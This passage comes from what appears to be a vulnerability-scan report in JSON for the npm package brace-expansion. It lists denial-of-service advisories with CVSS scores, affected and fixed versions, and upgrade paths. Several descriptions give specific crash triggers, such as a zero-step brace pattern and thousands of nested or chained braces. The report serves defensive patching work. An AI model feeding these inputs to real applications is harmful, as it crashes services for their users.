"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
